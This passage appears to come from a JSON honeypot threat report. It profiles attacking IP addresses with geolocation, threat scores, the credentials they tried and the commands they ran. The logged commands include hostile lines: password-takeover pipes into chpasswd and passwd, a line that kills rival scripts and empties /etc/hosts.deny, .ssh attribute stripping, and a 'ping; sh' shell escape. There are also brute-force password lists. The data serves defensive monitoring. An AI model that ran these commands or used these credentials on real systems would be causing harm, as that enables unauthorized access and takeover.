        "first_seen_30d": "2026-03-04T12:25:16.779000+00:00",
        "last_seen_30d": "2026-03-04T12:36:57.135000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 171,
        "Suricata": 25
      }
    },
    "164.92.177.176": {
      "attack_count": 168,
      "first_seen": "2026-03-26T22:22:58.338Z",
      "last_seen": "2026-03-26T23:52:54.269Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!QAY2wsx",
        "180882",
        "1q2w3e!@",
        "3245gs5662d34",
        "345gs5662d34",
        "@12345678",
        "AdminAdmin123",
        "Comtom@2025",
        "Debian2025",
        "Gt123456",
        "P@55w0rd2024",
        "Pa55W0rd",
        "Passw0rt!qaz",
        "Password777",
        "Pp123456789",
        "baxter",
        "kingdee@123",
        "louise",
        "openit",
        "pingping"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:2MoPfZcpqP5q\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 31.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T22:22:58.338000+00:00",
        "last_seen_30d": "2026-03-26T23:54:01.776000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "160.250.181.59": {
      "attack_count": 134,
      "first_seen": "2026-03-22T20:17:17.987Z",
      "last_seen": "2026-03-22T20:50:35.330Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "aaron",
        "345gs5662d34",
        "alberto",
        "antonio",
        "bash",
        "bot",
        "ceph",
        "cristian",
        "deluge",
        "dev",
        "fox",
        "mega",
        "root",
        "user13"
      ],
      "passwords_attempted": [
        "123456",
        "12345678",
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "Bot123",
        "Deluge",
        "Mega",
        "Qwer123456",
        "aaron@123456",
        "cristianpass",
        "fox@123456",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"aaron@123456\\nzgWTQg2F4Hrw\\nzgWTQg2F4Hrw\\n\"|passwd",
        "echo -e \"aaron@123456\\nzgWTQg2F4Hrw\\nzgWTQg2F4Hrw\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 150895,
      "as_org": "EZ TECHNOLOGY COMPANY LIMITED",
      "threat_score": 24.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 171,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T20:17:17.987000+00:00",
        "last_seen_30d": "2026-03-22T20:54:35.911000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 134,
        "Suricata": 37
      }
    },
    "103.153.254.168": {
      "attack_count": 119,
      "first_seen": "2026-03-09T09:44:32.774Z",
      "last_seen": "2026-03-09T10:04:35.703Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "git",
        "345gs5662d34",
        "extern",
        "iptv",
        "liang",
        "obc",
        "root",
        "tmp",
        "ubuntu",
        "ve",
        "ws"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin@1234",
        "Pa$$w0rd2024",
        "extern123",
        "git1234",
        "iptv",
        "liang",
        "password",
        "ve123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"git1234\\nE0CVOaKsR9P7\\nE0CVOaKsR9P7\\n\"|passwd",
        "echo -e \"git1234\\nE0CVOaKsR9P7\\nE0CVOaKsR9P7\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135905,
      "as_org": "VIETNAM POSTS AND TELECOMMUNICATIONS GROUP",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T09:44:32.774000+00:00",
        "last_seen_30d": "2026-03-09T10:05:39.719000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "103.48.192.48": {
      "attack_count": 119,
      "first_seen": "2026-03-22T15:42:29.195Z",
      "last_seen": "2026-03-22T16:03:04.892Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "hdoop",
        "345gs5662d34",
        "c",
        "grafana",
        "jino",
        "root",
        "test01",
        "zhangsan",
        "zxy"
      ],
      "passwords_attempted": [
        "password",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa000000",
        "C123",
        "Grafana123!",
        "Password01",
        "hdooppass",
        "newpassword123",
        "zxy123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"hdooppass\\nLlGkT8YiaxZz\\nLlGkT8YiaxZz\\n\"|passwd",
        "echo -e \"hdooppass\\nLlGkT8YiaxZz\\nLlGkT8YiaxZz\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 131423,
      "as_org": "Branch of Long Van System Solution JSC - Hanoi",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T15:42:29.195000+00:00",
        "last_seen_30d": "2026-03-22T16:04:06.433000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "107.180.88.176": {
      "attack_count": 119,
      "first_seen": "2026-03-11T00:22:19.325Z",
      "last_seen": "2026-03-31T15:15:49.524Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "sansforensics",
        "345gs5662d34",
        "coolify",
        "elasticsearch",
        "help",
        "linuxadmin",
        "music",
        "root",
        "unity",
        "vbox",
        "webapps"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa135790",
        "Help123",
        "Linuxadmin123!",
        "Music123",
        "elasticsearch",
        "forensics",
        "password",
        "webapps123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"forensics\\nDoZW9typmEdx\\nDoZW9typmEdx\\n\"|passwd",
        "echo -e \"forensics\\nDoZW9typmEdx\\nDoZW9typmEdx\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 398101,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 51.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.7,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T00:22:19.325000+00:00",
        "last_seen_30d": "2026-03-31T15:16:59.447000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 29
      }
    },
    "152.32.187.135": {
      "attack_count": 119,
      "first_seen": "2026-03-07T05:54:56.156Z",
      "last_seen": "2026-03-07T06:14:00.420Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "jhpark",
        "345gs5662d34",
        "abhishek",
        "azureuser",
        "controlm",
        "dhiraj",
        "felix",
        "hassan",
        "nasuser",
        "odm",
        "promo"
      ],
      "passwords_attempted": [
        "123",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "Jhpark123",
        "Odm123",
        "azureuser123!",
        "dhirajpass",
        "hassan",
        "nasuser123!",
        "password",
        "promo123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Jhpark123\\nYsAfSxIZ8KvV\\nYsAfSxIZ8KvV\\n\"|passwd",
        "echo -e \"Jhpark123\\nYsAfSxIZ8KvV\\nYsAfSxIZ8KvV\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T05:54:56.156000+00:00",
        "last_seen_30d": "2026-03-07T06:15:02.075000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "64.227.131.199": {
      "attack_count": 119,
      "first_seen": "2026-03-18T14:05:27.097Z",
      "last_seen": "2026-03-18T14:24:43.109Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "lg",
        "345gs5662d34",
        "administrador",
        "ahmad",
        "auser",
        "escaner",
        "gateway",
        "jitendra",
        "mc",
        "nasuser",
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Mc123",
        "ahmad1234",
        "auser123",
        "escanerpass",
        "jitendra",
        "password",
        "password12345"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"password\\nXyQkQtEuCxHx\\nXyQkQtEuCxHx\\n\"|passwd",
        "echo -e \"password\\nXyQkQtEuCxHx\\nXyQkQtEuCxHx\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 19.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T14:05:27.097000+00:00",
        "last_seen_30d": "2026-03-18T14:25:46.672000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "83.118.24.18": {
      "attack_count": 119,
      "first_seen": "2026-03-26T11:24:19.574Z",
      "last_seen": "2026-03-26T16:51:24.306Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "prueba",
        "345gs5662d34",
        "api",
        "chenghao",
        "escaner",
        "gate",
        "gitlab",
        "handler",
        "lzy",
        "owncloud",
        "svc-jenkins"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Api123",
        "Chenghao123!",
        "Escaner123",
        "Prueba123",
        "changeme",
        "gate",
        "handler123",
        "lzypass",
        "password",
        "svc-jenkins"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Prueba123\\nyn3vWr7evdcj\\nyn3vWr7evdcj\\n\"|passwd",
        "echo -e \"Prueba123\\nyn3vWr7evdcj\\nyn3vWr7evdcj\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": null,
      "asn": 132280,
      "as_org": "Symphony Communication Thailand PCL.",
      "threat_score": 28.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T11:24:19.574000+00:00",
        "last_seen_30d": "2026-03-26T16:52:25.473000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "189.183.7.12": {
      "attack_count": 93,
      "first_seen": "2026-03-28T05:29:38.247Z",
      "last_seen": "2026-03-28T05:52:45.340Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Lp123456",
        "Su123456",
        "s3curity",
        "sj@123456",
        "xX@123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:g30DARZqUjno\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Puebla City",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 29.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 110,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T05:29:38.247000+00:00",
        "last_seen_30d": "2026-03-28T05:53:53.799000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 93,
        "Suricata": 17
      }
    },
    "187.110.238.50": {
      "attack_count": 91,
      "first_seen": "2026-03-26T10:14:24.870Z",
      "last_seen": "2026-03-26T10:26:17.374Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "ops",
        "345gs5662d34",
        "callcenter",
        "devenv",
        "virtualbox",
        "wireguard"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "devenv",
        "password",
        "wireguard"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"password\\nBGKixMvSDqtZ\\nBGKixMvSDqtZ\\n\"|passwd",
        "echo -e \"password\\nBGKixMvSDqtZ\\nBGKixMvSDqtZ\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Fortaleza",
      "asn": 28598,
      "as_org": "DB3 SERVICOS DE TELECOMUNICACOES S.A",
      "threat_score": 27.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 108,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T10:14:24.870000+00:00",
        "last_seen_30d": "2026-03-26T10:27:27.008000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 91,
        "Suricata": 17
      }
    },
    "175.107.211.3": {
      "attack_count": 50,
      "first_seen": "2026-03-05T16:08:33.825Z",
      "last_seen": "2026-03-05T16:14:12.105Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 4.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T16:08:33.825000+00:00",
        "last_seen_30d": "2026-03-05T16:15:14.429000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "103.13.138.22": {
      "attack_count": 48,
      "first_seen": "2026-03-24T18:07:34.100Z",
      "last_seen": "2026-03-24T18:12:45.861Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 150215,
      "as_org": "PT Era Bangun Indonesia",
      "threat_score": 28.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 4.2,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 75,
        "days_active_30d": 5,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T10:08:39.156000+00:00",
        "last_seen_30d": "2026-03-24T18:13:47.154000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 27
      }
    },
    "223.123.72.92": {
      "attack_count": 48,
      "first_seen": "2026-03-31T00:46:47.410Z",
      "last_seen": "2026-03-31T01:03:48.840Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Mian Channu",
      "asn": 59257,
      "as_org": "CMPak Limited",
      "threat_score": 31.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 75,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T00:46:47.410000+00:00",
        "last_seen_30d": "2026-03-31T01:04:50.769000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 27
      }
    },
    "223.123.43.5": {
      "attack_count": 40,
      "first_seen": "2026-03-02T07:21:24.430Z",
      "last_seen": "2026-03-09T00:55:07.337Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 9.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.9,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 62,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T07:21:24.430000+00:00",
        "last_seen_30d": "2026-03-09T00:56:10.649000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 22
      }
    },
    "115.75.223.236": {
      "attack_count": 36,
      "first_seen": "2026-03-27T05:06:23.617Z",
      "last_seen": "2026-03-27T05:07:06.944Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "ftp",
        "pos",
        "remotessh",
        "super",
        "telnetadmin"
      ],
      "passwords_attempted": [
        "admin",
        "",
        "0000",
        "000000",
        "1234",
        "12345",
        "5SaP9I26",
        "GM8182",
        "LSiuY7pOmZG2s",
        "Zxic521",
        "cms500",
        "pos",
        "power",
        "root",
        "sp-admin",
        "system",
        "telnetadmin",
        "video",
        "xc3511"
      ],
      "commands_executed": [
        "shell",
        "system",
        "",
        "/bin/busybox cat /proc/self/exe || cat /proc/self/exe",
        "cat /proc/self/exe",
        "enable",
        "ping; sh",
        "sh"
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.command.input",
